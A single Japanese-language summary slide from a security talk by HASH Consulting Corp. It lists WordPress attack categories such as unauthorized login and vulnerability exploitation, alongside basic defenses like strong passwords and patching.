HASH Consulting Corp. 53 まとめ • WordPressを題材として、Webサイトへの不正ア クセスの手法を紹介 – 不正ログイン – プラットフォーム(PHP等)の脆弱性の悪用 – オープンソースのアプリケーションの脆弱性の悪用 – 自作カスタマイズ部分の脆弱性の悪用 • 不正ログイン対策は、とにかく良質のパスワード をつけること • 脆弱性対策は、パッチ適用かバージョンアップ • 自作アプリケーションの脆弱性対応
Advertisement